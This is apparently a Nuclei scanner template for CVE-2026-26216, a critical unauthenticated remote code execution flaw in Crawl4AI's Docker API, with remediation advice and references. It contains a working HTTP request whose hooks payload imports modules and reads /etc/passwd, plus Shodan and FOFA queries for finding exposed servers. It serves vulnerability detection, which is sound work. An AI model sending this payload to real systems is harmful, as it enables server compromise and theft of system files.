id: CVE-2026-26216 info: name: Crawl4AI < 0.8.0 - Unauthenticated Remote Code Execution via Hooks Parameter author: dishantmodi severity: critical description: | Crawl4AI versions prior to 0.8.0 contain a remote code execution vulnerability in the Docker API deployment. The /crawl endpoint accepts a hooks parameter containing Python code that is executed using exec(). The __import__ builtin was included in the allowed builtins, allowing unauthenticated remote attackers to import arbitrary modules and execute system commands. Successful exploitation allows full server compromise, including arbitrary command execution, file read and write access, sensitive data exfiltration, and lateral movement within internal networks. remediation: | Upgrade to Crawl4AI 0.8.0 or later, which removes __import__ from allowed_builtins in hook_manager.py and disables hooks by default (CRAWL4AI_HOOKS_ENABLED=false). As an interim mitigation, disable the Docker API deployment or restrict network access to it and add authentication. impact: | An unauthenticated attacker can achieve full server compromise: arbitrary command execution, file read/write, exfiltration of environment variables and API keys, and lateral movement into internal networks. reference: - https://github.com/unclecode/crawl4ai/security/advisories/GHSA-5882-5rx9-xgxp - https://www.vulncheck.com/advisories/crawl4ai-docker-api-unauthenticated-remote-code-execution-via-hooks-parameter - https://github.com/unclecode/crawl4ai/blob/main/docs/blog/release-v0.8.0.md - https://nvd.nist.gov/vuln/detail/CVE-2026-26216 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10.0 cve-id: CVE-2026-26216 epss-score: 0.06001 epss-percentile: 0.93311 cwe-id: CWE-94 metadata: verified: true max-request: 1 shodan-query: http.html:"Crawl4AI" fofa-query: body="Crawl4AI" tags: cve,cve2026,crawl4ai,rce,python,vkev http: - raw: - | POST /crawl HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"urls":["https://example.com"],"hooks":{"code":{"on_page_context_created":"async def hook(page, context, **kwargs):\n _builtins = __import__('builtins')\n with _builtins.open('/etc/passwd', 'r') as _f:\n _data = _f.read(300)\n _os = __import__('os')\n raise _os.error('AEV-CANARY-{{randstr}}-' + _data)\n return page"},"timeout":30}} matchers-condition: and matchers: - type: word part: body words: - "AEV-CANARY-{{randstr}}-root:x:0:0" - type: word part: content_type words: - "application/json" - type: status status: - 200 # digest: 4a0a00473045022039bac8100576f5bbebea06d4176d9eef463c7a47d5b0b7b5442e5334c8d034e1022100b43b6ed16a0433335a5df1d138e3a5089ef7ad1081bcdab18190302a7390bb62:922c64590222798bb761d5b6d8e72950